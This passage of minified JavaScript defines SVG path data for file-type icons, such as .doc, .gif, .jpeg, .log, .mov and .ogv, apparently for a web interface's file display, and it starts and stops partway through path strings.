16.9774 18.8311 16.9192 18.8892C16.8611 18.9473 16.7822 18.98 16.7 18.98H16.32C16.2798 18.98 16.2399 18.9719 16.2029 18.9562C16.1658 18.9405 16.1323 18.9176 16.1043 18.8886C16.0763 18.8597 16.0544 18.8254 16.0399 18.7879C16.0254 18.7503 16.0187 18.7102 16.02 18.67V15.33C16.0187 15.2898 16.0254 15.2497 16.0399 15.2121C16.0544 15.1746 16.0763 15.1403 16.1043 15.1114C16.1323 15.0824 16.1658 15.0595 16.2029 15.0438C16.2399 15.0281 16.2798 15.02 16.32 15.02H16.7C16.7407 15.02 16.781 15.028 16.8187 15.0436C16.8563 15.0592 16.8904 15.082 16.9192 15.1108C16.948 15.1396 16.9708 15.1738 16.9864 15.2114C17.002 15.249 17.01 15.2893 17.01 15.33V18.67ZM18.51 18.67C18.51 18.7107 18.502 18.751 18.4864 18.7886C18.4708 18.8262 18.448 18.8604 18.4192 18.8892C18.3904 18.918 18.3563 18.9408 18.3187 18.9564C18.281 18.972 18.2407 18.98 18.2 18.98H17.82C17.7378 18.98 17.659 18.9473 17.6008 18.8892C17.5427 18.8311 17.51 18.7522 17.51 18.67V15.33C17.51 15.2893 17.518 15.249 17.5336 15.2114C17.5492 15.1738 17.572 15.1396 17.6008 15.1108C17.6296 15.082 17.6638 15.0592 17.7014 15.0436C17.739 15.028 17.7793 15.02 17.82 15.02H18.2C18.2407 15.02 18.281 15.028 18.3187 15.0436C18.3563 15.0592 18.3904 15.082 18.4192 15.1108C18.448 15.1396 18.4708 15.1738 18.4864 15.2114C18.502 15.249 18.51 15.2893 18.51 15.33V18.67Z"},Z.FILEICONS={docIcon:{extension:".doc",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9.617188 46.875 C 13.234375 46.875 16.160156 43.929688 16.160156 40.292969 C 16.160156 36.695312 13.234375 33.75 9.617188 33.75 L 7.402344 33.75 C 6.820312 33.75 6.371094 34.199219 6.371094 34.78125 L 6.371094 45.84375 C 6.371094 46.335938 6.714844 46.757812 7.191406 46.855469 L 7.402344 46.875 Z M 9.617188 44.792969 L 8.453125 44.792969 L 8.453125 35.832031 L 9.617188 35.832031 C 12.089844 35.832031 14.078125 37.835938 14.078125 40.292969 C 14.078125 42.789062 12.089844 44.773438 9.617188 44.792969 Z M 24.816406 46.875 C 26.539062 46.875 28.191406 46.085938 29.296875 44.867188 C 30.460938 43.648438 31.191406 41.980469 31.191406 40.125 C 31.191406 38.269531 30.460938 36.617188 29.296875 35.382812 C 28.191406 34.144531 26.539062 33.375 24.816406 33.375 C 23.015625 33.375 21.367188 34.144531 20.222656 35.382812 C 19.058594 36.617188 18.367188 38.269531 18.367188 40.125 C 18.367188 41.980469 19.058594 43.648438 20.222656 44.867188 C 21.367188 46.085938 23.015625 46.875 24.816406 46.875 Z M 24.816406 44.738281 C 23.617188 44.738281 22.566406 44.230469 21.777344 43.386719 C 20.992188 42.582031 20.503906 41.398438 20.503906 40.125 C 20.503906 38.851562 20.992188 37.667969 21.777344 36.84375 C 22.566406 36 23.617188 35.511719 24.816406 35.511719 C 25.941406 35.511719 26.992188 36 27.777344 36.84375 C 28.546875 37.667969 29.054688 38.851562 29.054688 40.125 C 29.054688 41.398438 28.546875 42.582031 27.777344 43.386719 C 26.992188 44.230469 25.941406 44.738281 24.816406 44.738281 Z M 39.996094 46.875 C 41.648438 46.875 43.148438 46.332031 44.328125 45.414062 C 44.777344 45.054688 44.851562 44.382812 44.515625 43.914062 C 44.140625 43.460938 43.445312 43.386719 43.015625 43.707031 C 42.171875 44.382812 41.160156 44.738281 39.996094 44.738281 C 38.703125 44.738281 37.503906 44.210938 36.621094 43.386719 C 35.777344 42.5625 35.253906 41.398438 35.253906 40.125 C 35.253906 38.851562 35.777344 37.726562 36.621094 36.863281 C 37.503906 36.039062 38.703125 35.511719 39.996094 35.511719 C 41.160156 35.511719 42.191406 35.867188 43.015625 36.542969 C 43.445312 36.882812 44.140625 36.804688 44.515625 36.335938 C 44.851562 35.867188 44.777344 35.210938 44.328125 34.835938 C 43.148438 33.917969 41.648438 33.375 39.996094 33.375 C 36.246094 33.394531 33.132812 36.414062 33.117188 40.125 C 33.132812 43.855469 36.246094 46.875 39.996094 46.875 Z M 39.996094 46.875 "/>\n </g>'},gifIcon:{extension:".gif",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 17.394531 46.875 C 18.988281 46.875 20.46875 46.332031 21.648438 45.414062 C 21.835938 45.28125 21.949219 45.132812 22.003906 44.960938 L 22.003906 44.945312 C 22.023438 44.90625 22.023438 44.886719 22.042969 44.851562 C 22.0625 44.738281 22.097656 44.664062 22.097656 44.53125 L 22.097656 40.386719 C 22.097656 39.789062 21.613281 39.335938 21.011719 39.335938 L 17.28125 39.335938 C 16.699219 39.335938 16.210938 39.789062 16.210938 40.386719 C 16.210938 40.96875 16.699219 41.457031 17.28125 41.457031 L 19.960938 41.457031 L 19.960938 44.023438 C 19.210938 44.457031 18.332031 44.738281 17.394531 44.738281 C 16.042969 44.738281 14.863281 44.230469 14.019531 43.367188 C 13.136719 42.523438 12.613281 41.382812 12.613281 40.144531 C 12.613281 38.867188 13.136719 37.726562 14.019531 36.882812 C 14.863281 36.019531 16.042969 35.511719 17.394531 35.511719 C 18.519531 35.511719 19.550781 35.90625 20.355469 36.523438 C 20.824219 36.898438 21.519531 36.804688 21.875 36.355469 C 22.230469 35.886719 22.15625 35.195312 21.667969 34.835938 C 20.503906 33.917969 18.988281 33.375 17.394531 33.375 C 13.585938 33.375 10.472656 36.375 10.472656 40.144531 C 10.472656 43.894531 13.585938 46.875 17.394531 46.875 Z M 26.945312 46.875 C 27.507812 46.875 27.996094 46.425781 27.996094 45.84375 L 27.996094 34.78125 C 27.996094 34.199219 27.507812 33.75 26.945312 33.75 C 26.363281 33.75 25.914062 34.199219 25.914062 34.78125 L 25.914062 45.84375 C 25.914062 46.425781 26.363281 46.875 26.945312 46.875 Z M 33.066406 46.875 C 33.648438 46.875 34.117188 46.40625 34.117188 45.84375 L 34.117188 41.34375 L 38.488281 41.34375 C 39.050781 41.34375 39.519531 40.875 39.519531 40.292969 C 39.519531 39.75 39.050781 39.261719 38.488281 39.261719 L 34.117188 39.261719 L 34.117188 35.832031 L 39.199219 35.832031 C 39.742188 35.832031 40.230469 35.363281 40.230469 34.78125 C 40.230469 34.21875 39.742188 33.75 39.199219 33.75 L 33.066406 33.75 C 32.488281 33.75 32.035156 34.21875 32.035156 34.78125 L 32.035156 45.84375 C 32.035156 46.40625 32.488281 46.875 33.066406 46.875 Z M 33.066406 46.875 "/>\n </g>'},jpegIcon:{extension:".jpeg",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9 43.75 C 11.140625 43.75 12.890625 42.015625 12.890625 39.875 L 12.890625 33.671875 C 12.890625 33.1875 12.5 32.8125 12.03125 32.8125 C 11.546875 32.8125 11.15625 33.1875 11.15625 33.671875 L 11.15625 39.875 C 11.15625 41.046875 10.1875 42.015625 9 42.015625 C 8.046875 42.015625 7.234375 41.390625 6.953125 40.53125 C 6.8125 40.078125 6.328125 39.828125 5.859375 39.984375 C 5.421875 40.109375 5.15625 40.59375 5.3125 41.0625 C 5.8125 42.625 7.28125 43.75 9 43.75 Z M 15.640625 43.75 C 16.125 43.75 16.515625 43.359375 16.515625 42.890625 L 16.515625 39.5 L 18.4375 39.5 C 20.296875 39.5 21.796875 38 21.796875 36.171875 C 21.796875 34.3125 20.296875 32.8125 18.4375 32.8125 L 15.640625 32.8125 C 15.171875 32.8125 14.78125 33.1875 14.78125 33.671875 L 14.78125 42.890625 C 14.78125 43.359375 15.171875 43.75 15.640625 43.75 Z M 18.4375 37.765625 L 16.515625 37.765625 L 16.515625 34.546875 L 18.4375 34.546875 C 19.34375 34.546875 20.046875 35.265625 20.0625 36.171875 C 20.046875 37.046875 19.34375 37.765625 18.4375 37.765625 Z M 29.234375 43.75 C 29.6875 43.75 30.09375 43.359375 30.09375 42.890625 C 30.09375 42.40625 29.6875 42.015625 29.234375 42.015625 L 25 42.015625 L 25 39.140625 L 28.640625 39.140625 C 29.109375 39.140625 29.5 38.75 29.5 38.265625 C 29.5 37.8125 29.109375 37.40625 28.640625 37.40625 L 25 37.40625 L 25 34.546875 L 29.234375 34.546875 C 29.6875 34.546875 30.09375 34.15625 30.09375 33.671875 C 30.09375 33.1875 29.6875 32.8125 29.234375 32.8125 L 24.125 32.8125 C 23.640625 32.8125 23.265625 33.1875 23.265625 33.671875 L 23.265625 42.890625 C 23.265625 43.359375 23.640625 43.75 24.125 43.75 C 24.125 43.75 24.140625 43.734375 24.140625 43.734375 C 24.140625 43.734375 24.140625 43.75 24.171875 43.75 Z M 37.1875 43.75 C 38.515625 43.75 39.75 43.296875 40.734375 42.53125 C 40.890625 42.421875 40.984375 42.296875 41.03125 42.15625 L 41.03125 42.140625 C 41.046875 42.109375 41.046875 42.09375 41.0625 42.0625 C 41.078125 41.96875 41.109375 41.90625 41.109375 41.796875 L 41.109375 38.34375 C 41.109375 37.914062 40.8125 37.578125 40.410156 37.492188 L 40.203125 37.46875 L 37.09375 37.46875 C 36.609375 37.46875 36.203125 37.84375 36.203125 38.34375 C 36.203125 38.828125 36.609375 39.234375 37.09375 39.234375 L 39.328125 39.234375 L 39.328125 41.375 C 38.703125 41.734375 37.96875 41.96875 37.1875 41.96875 C 36.0625 41.96875 35.078125 41.546875 34.375 40.828125 C 33.640625 40.125 33.203125 39.171875 33.203125 38.140625 C 33.203125 37.078125 33.640625 36.125 34.375 35.421875 C 35.078125 34.703125 36.0625 34.28125 37.1875 34.28125 C 38.125 34.28125 38.984375 34.609375 39.65625 35.125 C 40.046875 35.4375 40.625 35.359375 40.921875 34.984375 C 41.21875 34.59375 41.15625 34.015625 40.75 33.71875 C 39.78125 32.953125 38.515625 32.5 37.1875 32.5 C 34.015625 32.5 31.421875 35 31.421875 38.140625 C 31.421875 41.265625 34.015625 43.75 37.1875 43.75 Z M 37.1875 43.75 "/>\n </g>'},logIcon:{extension:".log",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 13.542969 46.875 C 14.085938 46.875 14.574219 46.40625 14.574219 45.84375 C 14.574219 45.261719 14.085938 44.792969 13.542969 44.792969 L 8.460938 44.792969 L 8.460938 34.78125 C 8.460938 34.21875 7.992188 33.75 7.410156 33.75 C 6.828125 33.75 6.378906 34.21875 6.378906 34.78125 L 6.378906 45.84375 C 6.378906 46.40625 6.828125 46.875 7.410156 46.875 Z M 21.742188 46.875 C 23.46875 46.875 25.117188 46.085938 26.222656 44.867188 C 27.386719 43.648438 28.117188 41.980469 28.117188 40.125 C 28.117188 38.269531 27.386719 36.617188 26.222656 35.382812 C 25.117188 34.144531 23.46875 33.375 21.742188 33.375 C 19.941406 33.375 18.292969 34.144531 17.148438 35.382812 C 15.984375 36.617188 15.292969 38.269531 15.292969 40.125 C 15.292969 41.980469 15.984375 43.648438 17.148438 44.867188 C 18.292969 46.085938 19.941406 46.875 21.742188 46.875 Z M 21.742188 44.738281 C 20.542969 44.738281 19.492188 44.230469 18.703125 43.386719 C 17.917969 42.582031 17.429688 41.398438 17.429688 40.125 C 17.429688 38.851562 17.917969 37.667969 18.703125 36.84375 C 19.492188 36 20.542969 35.511719 21.742188 35.511719 C 22.867188 35.511719 23.917969 36 24.703125 36.84375 C 25.472656 37.667969 25.980469 38.851562 25.980469 40.125 C 25.980469 41.398438 25.472656 42.582031 24.703125 43.386719 C 23.917969 44.230469 22.867188 44.738281 21.742188 44.738281 Z M 37.300781 46.875 C 38.894531 46.875 40.375 46.332031 41.558594 45.414062 C 41.746094 45.28125 41.855469 45.132812 41.914062 44.960938 L 41.914062 44.945312 L 41.949219 44.851562 C 41.96875 44.738281 42.007812 44.664062 42.007812 44.53125 L 42.007812 40.386719 C 42.007812 39.789062 41.519531 39.335938 40.917969 39.335938 L 37.1875 39.335938 C 36.605469 39.335938 36.121094 39.789062 36.121094 40.386719 C 36.121094 40.96875 36.605469 41.457031 37.1875 41.457031 L 39.871094 41.457031 L 39.871094 44.023438 C 39.121094 44.457031 38.238281 44.738281 37.300781 44.738281 C 35.949219 44.738281 34.769531 44.230469 33.925781 43.367188 C 33.042969 42.523438 32.519531 41.382812 32.519531 40.144531 C 32.519531 38.867188 33.042969 37.726562 33.925781 36.882812 C 34.769531 36.019531 35.949219 35.511719 37.300781 35.511719 C 38.425781 35.511719 39.457031 35.90625 40.261719 36.523438 C 40.730469 36.898438 41.425781 36.804688 41.78125 36.355469 C 42.136719 35.886719 42.0625 35.195312 41.574219 34.835938 C 40.414062 33.917969 38.894531 33.375 37.300781 33.375 C 33.496094 33.375 30.382812 36.375 30.382812 40.144531 C 30.382812 43.894531 33.496094 46.875 37.300781 46.875 Z M 37.300781 46.875 "/>\n </g>'},movIcon:{extension:".mov",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 15.472656 46.875 C 16.035156 46.875 16.523438 46.40625 16.523438 45.84375 L 16.523438 34.78125 C 16.523438 34.289062 16.152344 33.882812 15.679688 33.777344 L 15.472656 33.75 L 15.453125 33.75 C 15.117188 33.75 14.816406 33.898438 14.609375 34.179688 L 10.878906 39.355469 L 7.148438 34.179688 C 6.960938 33.898438 6.625 33.75 6.324219 33.75 L 6.265625 33.75 C 5.703125 33.75 5.234375 34.21875 5.234375 34.78125 L 5.234375 45.84375 C 5.234375 46.40625 5.703125 46.875 6.265625 46.875 C 6.847656 46.875 7.316406 46.40625 7.316406 45.84375 L 7.316406 37.949219 L 10 41.699219 C 10.203125 41.980469 10.523438 42.132812 10.859375 42.132812 L 10.898438 42.132812 C 11.234375 42.132812 11.535156 41.980469 11.742188 41.699219 L 14.441406 37.949219 L 14.441406 45.84375 C 14.441406 46.40625 14.890625 46.875 15.472656 46.875 Z M 25.460938 46.875 C 27.1875 46.875 28.835938 46.085938 29.941406 44.867188 C 31.105469 43.648438 31.835938 41.980469 31.835938 40.125 C 31.835938 38.269531 31.105469 36.617188 29.941406 35.382812 C 28.835938 34.144531 27.1875 33.375 25.460938 33.375 C 23.660156 33.375 22.011719 34.144531 20.867188 35.382812 C 19.703125 36.617188 19.011719 38.269531 19.011719 40.125 C 19.011719 41.980469 19.703125 43.648438 20.867188 44.867188 C 22.011719 46.085938 23.660156 46.875 25.460938 46.875 Z M 25.460938 44.738281 C 24.261719 44.738281 23.210938 44.230469 22.421875 43.386719 C 21.636719 42.582031 21.148438 41.398438 21.148438 40.125 C 21.148438 38.851562 21.636719 37.667969 22.421875 36.84375 C 23.210938 36 24.261719 35.511719 25.460938 35.511719 C 26.585938 35.511719 27.636719 36 28.421875 36.84375 C 29.191406 37.667969 29.699219 38.851562 29.699219 40.125 C 29.699219 41.398438 29.191406 42.582031 28.421875 43.386719 C 27.636719 44.230469 26.585938 44.738281 25.460938 44.738281 Z M 38.683594 46.855469 L 38.71875 46.855469 C 38.777344 46.835938 38.8125 46.820312 38.871094 46.820312 C 38.886719 46.800781 38.886719 46.800781 38.90625 46.800781 C 38.964844 46.78125 39.019531 46.726562 39.058594 46.707031 L 39.09375 46.6875 L 39.207031 46.59375 C 39.226562 46.574219 39.226562 46.574219 39.246094 46.539062 L 39.339844 46.425781 C 39.355469 46.425781 39.355469 46.425781 39.355469 46.40625 C 39.394531 46.367188 39.414062 46.292969 39.433594 46.257812 L 44.0625 35.304688 C 44.269531 34.800781 44.027344 34.179688 43.5 33.976562 C 42.996094 33.75 42.375 33.992188 42.152344 34.519531 L 38.496094 43.199219 L 34.839844 34.519531 C 34.613281 33.992188 34.011719 33.75 33.507812 33.976562 C 32.964844 34.179688 32.71875 34.800781 32.945312 35.304688 L 37.539062 46.257812 C 37.574219 46.292969 37.613281 46.367188 37.632812 46.40625 C 37.632812 46.425781 37.652344 46.425781 37.652344 46.425781 C 37.667969 46.460938 37.707031 46.5 37.746094 46.539062 C 37.746094 46.574219 37.761719 46.574219 37.761719 46.59375 C 37.820312 46.632812 37.855469 46.648438 37.894531 46.6875 L 37.914062 46.6875 C 37.96875 46.726562 38.042969 46.78125 38.082031 46.800781 L 38.101562 46.800781 C 38.101562 46.800781 38.121094 46.800781 38.121094 46.820312 C 38.15625 46.820312 38.230469 46.835938 38.269531 46.855469 L 38.308594 46.855469 L 38.402344 46.871094 L 38.496094 46.875 C 38.550781 46.875 38.605469 46.875 38.683594 46.855469 Z M 38.683594 46.855469 "/>\n </g>'},ogvIcon:{extension:".ogv",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 11.511719 46.875 C 13.238281 46.875 14.886719 46.085938 15.996094 44.867188 C 17.15625 43.648438 17.886719 41.980469 17.886719 40.125 C 17.886719 38.269531 17.15625 36.617188 15.996094 35.382812 C 14.886719 34.144531 13.238281 33.375 11.511719 33.375 C 9.714844 33.375 8.0625 34.144531 6.917969 35.382812 C 5.757812 36.617188 5.0625 38.269531 5.0625 40.125 C 5.0625 41.980469 5.757812 43.648438 6.917969 44.867188 C 8.0625 46.085938 9.714844 46.875 11.511719 46.875 Z M 11.511719 44.738281 C 10.3125 44.738281 9.261719 44.230469 8.476562 43.386719 C 7.6875 42.582031 7.199219 41.398438 7.199219 40.125 C 7.199219 38.851562 7.6875 37.667969 8.476562 36.84375 C 9.261719 36 10.3125 35.511719 11.511719 35.511719 C 12.636719 35.511719 13.6875 36 14.476562 36.84375 C 15.246094 37.667969 15.75 38.851562 15.75 40.125 C 15.75 41.398438 15.246094 42.582031 14.476562 43.386719 C 13.6875 44.230469 12.636719 44.738281 11.511719 44.738281 Z M 27.25 46.875 C 28.84375 46.875 30.324219 46.332031 31.507812 45.414062 C 31.695312 45.28125 31.804688 45.132812 31.863281 44.960938 L 31.863281 44.945312 C 